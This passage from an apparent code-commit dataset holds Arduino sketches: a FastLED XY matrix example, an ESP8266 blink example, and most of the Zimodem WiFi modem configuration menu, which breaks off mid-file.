{"commit":"f80e35d5d29ebefb29adbecd54b9eb041670e40a","subject":"First Commit","message":"First Commit\n","repos":"bguest\/Segment16Sign,bguest\/Segment16Sign","old_file":"Segment16Sign.ino","new_file":"Segment16Sign.ino","new_contents":"#include <FastLED.h>\n#include <Segment16.h>\n\nSegment16 display;\n\nvoid setup(){\n Serial.begin(9600);\n}\n\nvoid loop(){\n display.show();\n delay(2);\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"1cddfcb0e22b1e1321f92bb551fbace9bdb70c43","subject":"Adding basic XY Matrix example","message":"Adding basic XY Matrix example\n","repos":"MattDurr\/FastLED,kcouck\/FastLED,wsilverio\/FastLED,NicoHood\/FastLED,felixLam\/FastLED,wilhelmryan\/FastLED,FastLED\/FastLED,PaulStoffregen\/FastLED,eshkrab\/FastLED-esp32,FastLED\/FastLED,liyanage\/FastLED,wsilverio\/FastLED,corbinstreehouse\/FastLED,kcouck\/FastLED,yaneexy\/FastLED,PaulStoffregen\/FastLED,felixLam\/FastLED,MattDurr\/FastLED,yaneexy\/FastLED,liyanage\/FastLED,remspoor\/FastLED,wilhelmryan\/FastLED,FastLED\/FastLED,neographophobic\/FastLED,remspoor\/FastLED,eshkrab\/FastLED-esp32,NicoHood\/FastLED,FastLED\/FastLED,MiketheChap\/FastLED,MiketheChap\/FastLED,tullo-x86\/FastLED,PaulStoffregen\/FastLED,ryankenney\/FastLED,neographophobic\/FastLED,ryankenney\/FastLED,tullo-x86\/FastLED,corbinstreehouse\/FastLED","old_file":"examples\/XYMatrix\/XYMatrix.ino","new_file":"examples\/XYMatrix\/XYMatrix.ino","new_contents":"#include <FastLED.h>\n\n#define LED_PIN 3\n\n#define COLOR_ORDER GRB\n#define CHIPSET WS2811\n\n#define BRIGHTNESS 64\n\n\/\/ Helper functions for an two-dimensional XY matrix of pixels.\n\/\/ Simple 2-D demo code is included as well.\n\/\/\n\/\/ XY(x,y) takes x and y coordinates and returns an LED index number,\n\/\/ for use like this: leds[ XY(x,y) ] == CRGB::Red;\n\/\/ No error checking is performed on the ranges of x and y.\n\/\/\n\/\/ XYsafe(x,y) takes x and y coordinates and returns an LED index number,\n\/\/ for use like this: leds[ XY(x,y) ] == CRGB::Red;\n\/\/ Error checking IS performed on the ranges of x and y, and an\n\/\/ index of \"-1\" is returned. Special instructions below\n\/\/ explain how to use this without having to do your own error\n\/\/ checking every time you use this function. \n\/\/ This is a slightly more advanced technique, and \n\/\/ it REQUIRES SPECIAL ADDITIONAL setup, described below.\n\n\n\/\/ Params for width and height\nconst uint8_t kMatrixWidth = 16;\nconst uint8_t kMatrixHeight = 16;\n\n\/\/ Param for different pixel layouts\nconst bool kMatrixSerpentineLayout = true;\n\/\/ Set 'kMatrixSerpentineLayout' to false if your pixels are \n\/\/ laid out all running the same way, like this:\n\/\/\n\/\/ 0 > 1 > 2 > 3 > 4\n\/\/ |\n\/\/ .----<----<----<----'\n\/\/ |\n\/\/ 5 > 6 > 7 > 8 > 9\n\/\/ |\n\/\/ .----<----<----<----'\n\/\/ |\n\/\/ 10 > 11 > 12 > 13 > 14\n\/\/ |\n\/\/ .----<----<----<----'\n\/\/ |\n\/\/ 15 > 16 > 17 > 18 > 19\n\/\/\n\/\/ Set 'kMatrixSerpentineLayout' to true if your pixels are \n\/\/ laid out back-and-forth, like this:\n\/\/\n\/\/ 0 > 1 > 2 > 3 > 4\n\/\/ |\n\/\/ |\n\/\/ 9 < 8 < 7 < 6 < 5\n\/\/ |\n\/\/ |\n\/\/ 10 > 11 > 12 > 13 > 14\n\/\/ |\n\/\/ |\n\/\/ 19 < 18 < 17 < 16 < 15\n\/\/\n\/\/ Bonus vocabulary word: anything that goes one way \n\/\/ in one row, and then backwards in the next row, and so on\n\/\/ is call \"boustrophedon\", meaning \"as the ox plows.\"\n\n\n\/\/ This function will return the right 'led index number' for \n\/\/ a given set of X and Y coordinates on your matrix. \n\/\/ IT DOES NOT CHECK THE COORDINATE BOUNDARIES. \n\/\/ That's up to you. Don't pass it bogus values.\n\/\/\n\/\/ Use the \"XY\" function like this:\n\/\/\n\/\/ for( uint8_t x = 0; x < kMatrixWidth; x++) {\n\/\/ for( uint8_t y = 0; y < kMatrixHeight; y++) {\n\/\/ \n\/\/ \/\/ Here's the x, y to 'led index' in action: \n\/\/ leds[ XY( x, y) ] = CHSV( random8(), 255, 255);\n\/\/ \n\/\/ }\n\/\/ }\n\/\/\n\/\/\nuint16_t XY( uint8_t x, uint8_t y)\n{\n uint16_t i;\n \n if( kMatrixSerpentineLayout == false) {\n i = (y * kMatrixWidth) + x;\n }\n\n if( kMatrixSerpentineLayout == true) {\n if( y & 0x01) {\n \/\/ Odd rows run backwards\n uint8_t reverseX = (kMatrixWidth - 1) - x;\n i = (y * kMatrixWidth) + reverseX;\n } else {\n \/\/ Even rows run forwards\n i = (y * kMatrixWidth) + x;\n }\n }\n \n return i;\n}\n\n\n\/\/ Once you've gotten the basics working (AND NOT UNTIL THEN!)\n\/\/ here's a helpful technique that can be tricky to set up, but \n\/\/ then helps you avoid the needs for sprinkling array-bound-checking\n\/\/ throughout your code.\n\/\/\n\/\/ It requires a careful attention to get it set up correctly, but\n\/\/ can potentially make your code smaller and faster.\n\/\/\n\/\/ Suppose you have an 8 x 5 matrix of 40 LEDs. Normally, you'd\n\/\/ delcare your leds array like this:\n\/\/ CRGB leds[40];\n\/\/ But instead of that, declare an LED buffer with one extra pixel in\n\/\/ it, \"leds_plus_safety_pixel\". Then declare \"leds\" as a pointer to\n\/\/ that array, but starting with the 2nd element (id=1) of that array: \n\/\/ CRGB leds_with_safety_pixel[41];\n\/\/ const CRGB* leds( leds_plus_safety_pixel + 1);\n\/\/ Then you use the \"leds\" array as you normally would.\n\/\/ Now \"leds[0..N]\" are aliases for \"leds_plus_safety_pixel[1..(N+1)]\",\n\/\/ AND leds[-1] is now a legitimate and safe alias for leds_plus_safety_pixel[0].\n\/\/ leds_plus_safety_pixel[0] aka leds[-1] is now your \"safety pixel\".\n\/\/\n\/\/ Now instead of using the XY function above, use the one below, \"XYsafe\".\n\/\/\n\/\/ If the X and Y values are 'in bounds', this function will return an index\n\/\/ into the visible led array, same as \"XY\" does.\n\/\/ HOWEVER -- and this is the trick -- if the X or Y values\n\/\/ are out of bounds, this function will return an index of -1.\n\/\/ And since leds[-1] is actually just an alias for leds_plus_safety_pixel[0],\n\/\/ it's a totally safe and legal place to access. And since the 'safety pixel'\n\/\/ falls 'outside' the visible part of the LED array, anything you write \n\/\/ there is hidden from view automatically.\n\/\/ Thus, this line of code is totally safe, regardless of the actual size of\n\/\/ your matrix:\n\/\/ leds[ XYsafe( random8(), random8() ) ] = CHSV( random8(), 255, 255);\n\/\/\n\/\/ The only catch here is that while this makes it safe to read from and\n\/\/ write to 'any pixel', there's really only ONE 'safety pixel'. No matter\n\/\/ what out-of-bounds coordinates you write to, you'll really be writing to\n\/\/ that one safety pixel. And if you try to READ from the safety pixel,\n\/\/ you'll read whatever was written there last, reglardless of what coordinates\n\/\/ were supplied.\n\n#define NUM_LEDS (kMatrixWidth * kMatrixHeight)\nCRGB leds_plus_safety_pixel[ NUM_LEDS + 1];\nCRGB* leds( leds_plus_safety_pixel + 1);\n\nuint16_t XYsafe( uint8_t x, uint8_t y)\n{\n if( x >= kMatrixWidth) return -1;\n if( y >= kMatrixHeight) return -1;\n return XY(x,y);\n}\n\n\n\/\/ Demo that USES \"XY\" follows code below\n\nvoid loop()\n{\n uint32_t ms = millis();\n int32_t yHueDelta32 = ((int32_t)cos16( ms * (27\/1) ) * (350 \/ kMatrixWidth));\n int32_t xHueDelta32 = ((int32_t)cos16( ms * (39\/1) ) * (310 \/ kMatrixHeight));\n DrawOneFrame( ms \/ 65536, yHueDelta32 \/ 32768, xHueDelta32 \/ 32768);\n if( ms < 5000 ) {\n FastLED.setBrightness( scale8( BRIGHTNESS, (ms * 256) \/ 5000));\n } else {\n FastLED.setBrightness(BRIGHTNESS);\n }\n FastLED.show();\n}\n\nvoid DrawOneFrame( byte startHue8, int8_t yHueDelta8, int8_t xHueDelta8)\n{\n byte lineStartHue = startHue8;\n for( byte y = 0; y < kMatrixHeight; y++) {\n lineStartHue += yHueDelta8;\n byte pixelHue = lineStartHue; \n for( byte x = 0; x < kMatrixWidth; x++) {\n pixelHue += xHueDelta8;\n leds[ XY(x, y)] = CHSV( pixelHue, 255, 255);\n }\n }\n}\n\n\nvoid setup() {\n FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalSMD5050);\n FastLED.setBrightness( BRIGHTNESS );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/XYMatrix\/XYMatrix.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"80b4faf42aff7e1de4d6ceac3c2f03d1d03dd131","subject":"Fixed sensor registers for Scada simulation","message":"Fixed sensor registers for Scada simulation","repos":"unparallel-innovation\/Modbus-Slave,unparallel-innovation\/Modbus-Slave","old_file":"libraries\/Energia MSP\/Examples\/ModBus_Serial_Slave\/ModBus_Serial_Slave.ino","new_file":"libraries\/Energia MSP\/Examples\/ModBus_Serial_Slave\/ModBus_Serial_Slave.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/Energia' did not match any file(s) known to git\nerror: pathspec 'MSP\/Examples\/ModBus_Serial_Slave\/ModBus_Serial_Slave.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"0e29e7e048020d73589f8beb0046f092f96faa09","subject":"ESP8266 Blink example for the blue LED on the ESP-01 module","message":"ESP8266 Blink example for the blue LED on the ESP-01 module\n","repos":"KaloNK\/Arduino,martinayotte\/ESP8266-Arduino,Adam5Wu\/Arduino,lrmoreno007\/Arduino,martinayotte\/ESP8266-Arduino,CanTireInnovations\/Arduino,NullMedia\/Arduino,Adam5Wu\/Arduino,Links2004\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NextDevBoard\/Arduino,sticilface\/Arduino,hallard\/Arduino,Cloudino\/Arduino,Cloudino\/Arduino,Cloudino\/Arduino,edog1973\/Arduino,jes\/Arduino,Juppit\/Arduino,Adam5Wu\/Arduino,Juppit\/Arduino,Cloudino\/Cloudino-Arduino-IDE,martinayotte\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,Lan-Hekary\/Arduino,chrisfraser\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,jes\/Arduino,hallard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NullMedia\/Arduino,Cloudino\/Arduino,quertenmont\/Arduino,Lan-Hekary\/Arduino,jes\/Arduino,wemos\/Arduino,esp8266\/Arduino,chrisfraser\/Arduino,KaloNK\/Arduino,toastedcode\/esp8266-Arduino,Links2004\/Arduino,Links2004\/Arduino,me-no-dev\/Arduino,Adam5Wu\/Arduino,quertenmont\/Arduino,martinayotte\/ESP8266-Arduino,KaloNK\/Arduino,Cloudino\/Cloudino-Arduino-IDE,gguuss\/Arduino,Juppit\/Arduino,hallard\/Arduino,gguuss\/Arduino,Cloudino\/Cloudino-Arduino-IDE,CanTireInnovations\/Arduino,sticilface\/Arduino,Links2004\/Arduino,toastedcode\/esp8266-Arduino,Cloudino\/Arduino,me-no-dev\/Arduino,CanTireInnovations\/Arduino,esp8266\/Arduino,Juppit\/Arduino,gguuss\/Arduino,CanTireInnovations\/Arduino,KaloNK\/Arduino,me-no-dev\/Arduino,Links2004\/Arduino,esp8266\/Arduino,CanTireInnovations\/Arduino,chrisfraser\/Arduino,NextDevBoard\/Arduino,NextDevBoard\/Arduino,jes\/Arduino,edog1973\/Arduino,Lan-Hekary\/Arduino,sticilface\/Arduino,wemos\/Arduino,sticilface\/Arduino,hallard\/Arduino,NullMedia\/Arduino,wemos\/Arduino,me-no-dev\/Arduino,KaloNK\/Arduino,wemos\/Arduino,NullMedia\/Arduino,chrisfraser\/Arduino,me-no-dev\/Arduino,wemos\/Arduino,gguuss\/Arduino,esp8266\/Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,toastedcode\/esp8266-Arduino,Cloudino\/Arduino,sticilface\/Arduino,Cloudino\/Arduino,hallard\/Arduino,NullMedia\/Arduino,quertenmont\/Arduino,gguuss\/Arduino,Cloudino\/Cloudino-Arduino-IDE,edog1973\/Arduino,NextDevBoard\/Arduino,lrmoreno007\/Arduino,quertenmont\/Arduino,Adam5Wu\/Arduino,CanTireInnovations\/Arduino,edog1973\/Arduino,jes\/Arduino,Lan-Hekary\/Arduino,Juppit\/Arduino,Lan-Hekary\/Arduino,toastedcode\/esp8266-Arduino,edog1973\/Arduino,chrisfraser\/Arduino,NextDevBoard\/Arduino,quertenmont\/Arduino,toastedcode\/esp8266-Arduino,CanTireInnovations\/Arduino,lrmoreno007\/Arduino","old_file":"libraries\/esp8266\/examples\/Blink\/Blink.ino","new_file":"libraries\/esp8266\/examples\/Blink\/Blink.ino","new_contents":"\/*\n ESP8266 Blink by Simon Peter\n Blink the blue LED on the ESP-01 module\n This example code is in the public domain\n*\/\n\nconst int ledPin = 1; \/\/ The blue LED on the ESP-01 module is connected to GPIO1 \n \/\/ (which is also the TXD pin; so we cannot use \n \/\/ Serial.print() at the same time\n\nvoid setup() {\n pinMode(ledPin, OUTPUT); \/\/ Initialize the ledPin as an output\n ESP.wdtDisable(); \/\/ Disable the watchdog timer built into the ESP8266\n \/\/ otherwise the ESP8266 reboots during the \"delay(1000);\"\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(ledPin, LOW); \/\/ turn the LED on (Note that LOW is the voltage level\n \/\/ but actually the LED is on; this is because \n \/\/ it is acive low on the ESP-01)\n delay(1000); \/\/ Wait for a second\n digitalWrite(ledPin, HIGH); \/\/ Turn the LED off by making the voltage HIGH\n delay(2000); \/\/ Wait for two seconds (to demonstrate the active low LED)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/esp8266\/examples\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"3604832b3462e0120c521cfc99b1371388438538","subject":"delay before connection attempt","message":"delay before connection attempt\n\ngit-svn-id: d8bfcd070c2c81762cca1b3912331324182919ba@18728 0d6f1817-ed0e-0410-87c9-987e46238f29\n","repos":"bozimmerman\/Zimodem,bozimmerman\/Zimodem","old_file":"zimodem\/zconfigmode.ino","new_file":"zimodem\/zconfigmode.ino","new_contents":"\/*\n Copyright 2016-2019 Bo Zimmerman\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\nvoid ZConfig::switchTo()\n{\n currMode=&configMode;\n serial.setFlowControlType(commandMode.serial.getFlowControlType());\n serial.setPetsciiMode(commandMode.serial.isPetsciiMode());\n savedEcho=commandMode.doEcho;\n newListen=commandMode.preserveListeners;\n commandMode.doEcho=true;\n serverSpec.port=6502;\n if(servs)\n serverSpec = *servs;\n serial.setXON(true);\n showMenu=true;\n EOLN=commandMode.EOLN;\n EOLNC=EOLN.c_str();\n currState = ZCFGMENU_MAIN;\n lastNumber=0;\n lastAddress=\"\";\n lastOptions=\"\";\n settingsChanged=false;\n lastNumNetworks=0;\n}\n\nvoid ZConfig::serialIncoming()\n{\n bool crReceived=commandMode.readSerialStream();\n commandMode.clearPlusProgress(); \/\/ re-check the plus-escape mode\n if(crReceived)\n {\n doModeCommand();\n }\n}\n\nvoid ZConfig::switchBackToCommandMode()\n{\n commandMode.doEcho=savedEcho;\n currMode = &commandMode;\n}\n\nvoid ZConfig::doModeCommand()\n{\n String cmd = commandMode.getNextSerialCommand();\n char c='?';\n for(int i=0;i<cmd.length();i++)\n {\n if(cmd[i]>32)\n {\n c=lc(cmd[i]);\n break;\n }\n }\n switch(currState)\n {\n case ZCFGMENU_MAIN:\n {\n if((c=='q')||(cmd.length()==0))\n {\n if(settingsChanged)\n {\n currState=ZCFGMENU_WICONFIRM;\n showMenu=true;\n }\n else\n {\n commandMode.showInitMessage();\n switchBackToCommandMode();\n return;\n }\n }\n else\n if(c=='a') \/\/ add to phonebook\n {\n currState=ZCFGMENU_NUM;\n showMenu=true;\n }\n else\n if(c=='w') \/\/ wifi\n {\n currState=ZCFGMENU_WIMENU;\n showMenu=true;\n }\n else\n if(c=='h') \/\/ host\n {\n currState=ZCFGMENU_NEWHOST;\n showMenu=true;\n }\n else\n if(c=='f') \/\/ flow control\n {\n currState=ZCFGMENU_FLOW;\n showMenu=true;\n }\n else\n if(c=='p') \/\/ petscii translation toggle\n {\n commandMode.serial.setPetsciiMode(!commandMode.serial.isPetsciiMode());\n serial.setPetsciiMode(commandMode.serial.isPetsciiMode());\n settingsChanged=true;\n showMenu=true;\n }\n else\n if(c=='e') \/\/ echo\n {\n savedEcho = !savedEcho;\n settingsChanged=true;\n showMenu=true;\n }\n else\n if(c=='b') \/\/ bbs\n {\n currState=ZCFGMENU_BBSMENU;\n showMenu=true;\n }\n else\n if(c>47 && c<58) \/\/ its a phonebook entry!\n {\n PhoneBookEntry *pb=PhoneBookEntry::findPhonebookEntry(cmd);\n if(pb == null)\n {\n serial.printf(\"%s%sPhone number not found: '%s'.%s%s\",EOLNC,EOLNC,cmd.c_str(),EOLNC,EOLNC);\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n else\n {\n lastNumber = pb->number;\n lastAddress = pb->address;\n lastOptions = pb->modifiers;\n currState=ZCFGMENU_ADDRESS;\n showMenu=true;\n }\n }\n else\n {\n showMenu=true; \/\/ re-show the menu\n }\n break;\n }\n case ZCFGMENU_WICONFIRM:\n {\n if((cmd.length()==0)||(c=='n'))\n {\n commandMode.showInitMessage();\n switchBackToCommandMode();\n return;\n }\n else\n if(c=='y')\n {\n if(newListen != commandMode.preserveListeners)\n {\n commandMode.preserveListeners=newListen;\n if(!newListen)\n {\n SPIFFS.remove(\"\/zlisteners.txt\");\n WiFiServerNode::DestroyAllServers();\n }\n else\n {\n commandMode.ringCounter=1;\n commandMode.autoStreamMode=true;\n WiFiServerNode *s=WiFiServerNode::FindServer(serverSpec.port);\n if(s != null)\n delete s;\n s = new WiFiServerNode(serverSpec.port,serverSpec.flagsBitmap);\n WiFiServerNode::SaveWiFiServers();\n }\n }\n else\n if(commandMode.preserveListeners)\n {\n WiFiServerNode *s = WiFiServerNode::FindServer(serverSpec.port);\n if( s != null)\n {\n if(s->flagsBitmap != serverSpec.flagsBitmap)\n {\n s->flagsBitmap = serverSpec.flagsBitmap;\n WiFiServerNode::SaveWiFiServers();\n }\n }\n else\n {\n WiFiServerNode::DestroyAllServers();\n s = new WiFiServerNode(serverSpec.port,serverSpec.flagsBitmap);\n WiFiServerNode::SaveWiFiServers();\n }\n }\n commandMode.reSaveConfig();\n serial.printf(\"%sSettings saved.%s\",EOLNC,EOLNC);\n commandMode.showInitMessage();\n switchBackToCommandMode();\n return;\n }\n else\n showMenu=true;\n }\n case ZCFGMENU_NUM:\n {\n PhoneBookEntry *pb=PhoneBookEntry::findPhonebookEntry(cmd);\n if(pb != null)\n {\n serial.printf(\"%s%sNumber already exists '%s'.%s%s\",EOLNC,EOLNC,cmd.c_str(),EOLNC,EOLNC);\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n else\n if(cmd.length()==0)\n {\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n else\n {\n lastNumber = atol((char *)cmd.c_str());\n lastAddress = \"\";\n lastOptions = \"\";\n currState=ZCFGMENU_ADDRESS;\n showMenu=true;\n }\n break;\n }\n case ZCFGMENU_NEWPORT:\n {\n if(cmd.length()>0)\n {\n serverSpec.port = atoi((char *)cmd.c_str());\n settingsChanged=true;\n }\n currState=ZCFGMENU_BBSMENU;\n showMenu=true;\n break;\n }\n case ZCFGMENU_ADDRESS:\n {\n PhoneBookEntry *entry = PhoneBookEntry::findPhonebookEntry(lastNumber);\n if(cmd.equalsIgnoreCase(\"delete\") && (entry != null))\n {\n delete entry;\n currState=ZCFGMENU_MAIN;\n serial.printf(\"%sPhonebook entry deleted.%s%s\",EOLNC,EOLNC,EOLNC);\n }\n else\n if((cmd.length()==0) && (entry != null))\n currState=ZCFGMENU_OPTIONS; \/\/ just keep old values\n else\n {\n boolean fail = cmd.indexOf(',') >= 0;\n int colonDex=cmd.indexOf(':');\n fail = fail || (colonDex <= 0) || (colonDex == cmd.length()-1);\n fail = fail || (colonDex != cmd.lastIndexOf(':'));\n if(!fail)\n {\n for(int i=colonDex+1;i<cmd.length();i++)\n if(strchr(\"0123456789\",cmd[i])<0)\n fail=true;\n }\n if(fail)\n {\n serial.printf(\"%sInvalid address format (hostname:port) for '%s'.%s%s\",EOLNC,cmd.c_str(),EOLNC,EOLNC);\n }\n else\n {\n lastAddress = cmd;\n currState=ZCFGMENU_OPTIONS;\n }\n }\n showMenu=true; \/\/ re-show the menu\n break;\n }\n case ZCFGMENU_BBSMENU:\n {\n if(cmd.length()==0)\n currState=ZCFGMENU_MAIN;\n else\n {\n ConnSettings flags(serverSpec.flagsBitmap);\n switch(c)\n {\n case 'h':\n currState=ZCFGMENU_NEWPORT;\n break;\n case 'd':\n newListen=false;\n settingsChanged=true;\n break;\n case 'p': \n if(newListen)\n {\n flags.petscii=!flags.petscii;\n settingsChanged=true;\n }\n break;\n case 't': \n if(newListen)\n {\n flags.telnet=!flags.telnet;\n settingsChanged=true;\n }\n break;\n case 'e':\n if(newListen)\n flags.echo=!flags.echo;\n else\n newListen=true;\n settingsChanged=true;\n break;\n case 'f':\n if(newListen)\n {\n if(flags.xonxoff)\n {\n flags.xonxoff=false;\n flags.rtscts=true; \n }\n else\n if(flags.rtscts)\n flags.rtscts=false;\n else\n flags.xonxoff=true;\n settingsChanged=true;\n }\n break;\n case 's': \n if(newListen)\n {\n flags.secure=!flags.secure;\n settingsChanged=true;\n }\n break;\n \n default:\n serial.printf(\"%sInvalid option '%s'.%s%s\",EOLNC,cmd.c_str(),EOLNC,EOLNC);\n break;\n }\n settingsChanged=true;\n serverSpec.flagsBitmap = flags.getBitmap();\n }\n showMenu=true;\n break;\n }\n case ZCFGMENU_OPTIONS:\n {\n if(cmd.length()==0)\n {\n PhoneBookEntry *entry = PhoneBookEntry::findPhonebookEntry(lastNumber);\n if(entry != null)\n {\n serial.printf(\"%sPhonebook entry updated.%s%s\",EOLNC,EOLNC,EOLNC);\n delete entry;\n }\n else\n serial.printf(\"%sPhonebook entry added.%s%s\",EOLNC,EOLNC,EOLNC);\n entry = new PhoneBookEntry(lastNumber,lastAddress.c_str(),lastOptions.c_str());\n PhoneBookEntry::savePhonebook();\n currState=ZCFGMENU_MAIN;\n }\n else\n {\n ConnSettings flags(lastOptions.c_str());\n switch(c)\n {\n case 'p': \n flags.petscii=!flags.petscii;\n break;\n case 't': \n flags.telnet=!flags.telnet;\n break;\n case 'e': \n flags.echo=!flags.echo;\n break;\n case 'f':\n if(flags.xonxoff)\n {\n flags.xonxoff=false;\n flags.rtscts=true; \n }\n else\n if(flags.rtscts)\n flags.rtscts=false;\n else\n flags.xonxoff=true;\n break;\n case 's': \n flags.secure=!flags.secure;\n break;\n default:\n serial.printf(\"%sInvalid toggle option '%s'.%s%s\",EOLNC,cmd.c_str(),EOLNC,EOLNC);\n break;\n }\n lastOptions = flags.getFlagString();\n }\n showMenu=true; \/\/ re-show the menu\n break;\n }\n case ZCFGMENU_WIMENU:\n {\n if(cmd.length()==0)\n {\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n else\n {\n int num=atoi(cmd.c_str());\n if((num<=0)||(num>lastNumNetworks))\n serial.printf(\"%sInvalid number. Try again.%s\",EOLNC,EOLNC);\n else\n if(WiFi.encryptionType(num-1) == ENC_TYPE_NONE)\n {\n if(!connectWifi(WiFi.SSID(num-1).c_str(),\"\"))\n {\n serial.printf(\"%sUnable to connect to %s. :(%s\",EOLNC,WiFi.SSID(num-1).c_str(),EOLNC);\n }\n else\n {\n wifiSSI=WiFi.SSID(num-1);\n wifiPW=\"\";\n settingsChanged=true;\n serial.printf(\"%sConnected!%s\",EOLNC,EOLNC);\n currState=ZCFGMENU_MAIN;\n }\n showMenu=true;\n }\n else\n {\n lastNumber=num-1;\n currState=ZCFGMENU_WIFIPW;\n showMenu=true;\n }\n }\n break;\n }\n case ZCFGMENU_NEWHOST:\n if(cmd.length()==0)\n currState=ZCFGMENU_WIMENU;\n else\n {\n hostname=cmd;\n hostname.replace(',','.');\n if((wifiSSI.length() > 0) && (WiFi.status()==WL_CONNECTED))\n {\n if(!connectWifi(wifiSSI.c_str(),wifiPW.c_str()))\n serial.printf(\"%sUnable to connect to %s. :(%s\",EOLNC,wifiSSI.c_str(),EOLNC);\n settingsChanged=true;\n }\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n break;\n case ZCFGMENU_WIFIPW:\n if(cmd.length()==0)\n {\n currState=ZCFGMENU_WIMENU;\n showMenu=true;\n }\n else\n {\n for(int i=0;i<500;i++)\n {\n if(serial.isSerialOut())\n serialOutDeque();\n delay(1);\n }\n if(!connectWifi(WiFi.SSID(lastNumber).c_str(),cmd.c_str()))\n serial.printf(\"%sUnable to connect to %s.%s\",EOLNC,WiFi.SSID(lastNumber).c_str(),EOLNC);\n else\n {\n wifiSSI=WiFi.SSID(lastNumber);\n wifiPW=cmd;\n settingsChanged=true;\n serial.printf(\"%sConnected!%s\",EOLNC,EOLNC);\n currState=ZCFGMENU_MAIN;\n }\n showMenu=true;\n }\n break;\n case ZCFGMENU_FLOW:\n if(cmd.length()==0)\n {\n currState=ZCFGMENU_WIMENU;\n showMenu=true;\n }\n else\n {\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n if(c=='x')\n commandMode.serial.setFlowControlType(FCT_NORMAL);\n else\n if(c=='r')\n commandMode.serial.setFlowControlType(FCT_RTSCTS);\n else\n if(c=='d')\n commandMode.serial.setFlowControlType(FCT_DISABLED);\n else\n {\n serial.printf(\"%sUnknown flow control type '%s'. Try again.%s\",EOLNC,cmd.c_str(),EOLNC);\n currState=ZCFGMENU_FLOW;\n }\n settingsChanged = settingsChanged || (currState ==ZCFGMENU_MAIN);\n serial.setFlowControlType(commandMode.serial.getFlowControlType());\n serial.setXON(true);\n }\n break;\n }\n}\n\nvoid ZConfig::loop()\n{\n if(showMenu)\n {\n showMenu=false;\n switch(currState)\n {\n case ZCFGMENU_MAIN:\n {\n serial.printf(\"%sMain Menu%s\",EOLNC,EOLNC);\n serial.printf(\"[HOST] name: %s%s\",hostname.c_str(),EOLNC);\n serial.printf(\"[WIFI] connection: %s%s\",(WiFi.status() == WL_CONNECTED)?wifiSSI.c_str():\"Not connected\",EOLNC);\n String flowName;\n switch(commandMode.serial.getFlowControlType())\n {\n case FCT_NORMAL:\n flowName = \"XON\/XOFF\";\n break;\n case FCT_RTSCTS:\n flowName = \"RTS\/CTS\";\n break;\n case FCT_DISABLED:\n flowName = \"DISABLED\";\n break;\n default:\n flowName = \"OTHER\";\n break;\n }\n String bbsMode = \"DISABLED\";\n if(newListen)\n {\n bbsMode = \"Port \";\n bbsMode += serverSpec.port;\n }\n serial.printf(\"[FLOW] control: %s%s\",flowName.c_str(),EOLNC);\n serial.printf(\"[ECHO] keystrokes: %s%s\",savedEcho?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[BBS] host: %s%s\",bbsMode.c_str(),EOLNC);\n serial.printf(\"[PETSCII] translation: %s%s\",commandMode.serial.isPetsciiMode()?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[ADD] new phonebook entry%s\",EOLNC);\n PhoneBookEntry *p = phonebook;\n if(p != null)\n {\n serial.printf(\"Phonebook entries:%s\",EOLNC);\n while(p != null)\n {\n serial.printf(\" [%lu] %s%s\",p->number, p->address, EOLNC);\n p=p->next;\n }\n }\n serial.printf(\"%sEnter command or entry or ENTER to exit: \",EOLNC,EOLNC);\n break;\n }\n case ZCFGMENU_NUM:\n serial.printf(\"%sEnter a new fake phone number (digits ONLY)%s: \",EOLNC,EOLNC);\n break;\n case ZCFGMENU_NEWPORT:\n serial.printf(\"%sEnter a port number to listen on%s: \",EOLNC,EOLNC);\n break;\n case ZCFGMENU_ADDRESS:\n {\n PhoneBookEntry *lastEntry = PhoneBookEntry::findPhonebookEntry(lastNumber);\n if(lastEntry == null)\n serial.printf(\"%sEnter a new hostname:port%s: \",EOLNC,EOLNC);\n else\n serial.printf(\"%sModify hostname:port, or enter DELETE (%s)%s: \",EOLNC,lastAddress.c_str(),EOLNC);\n break;\n }\n case ZCFGMENU_OPTIONS:\n {\n ConnSettings flags(lastOptions.c_str());\n serial.printf(\"%sConnection Options:%s\",EOLNC,EOLNC);\n serial.printf(\"[PETSCII] Translation: %s%s\",flags.petscii?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[TELNET] Translation: %s%s\",flags.telnet?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[ECHO]: %s%s\",flags.echo?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[FLOW] Control: %s%s\",flags.xonxoff?\"XON\/XOFF\":flags.rtscts?\"RTS\/CTS\":\"DISABLED\",EOLNC);\n serial.printf(\"%sEnter option to toggle or ENTER to exit%s: \",EOLNC,EOLNC);\n break;\n }\n case ZCFGMENU_BBSMENU:\n {\n serial.printf(\"%sBBS host 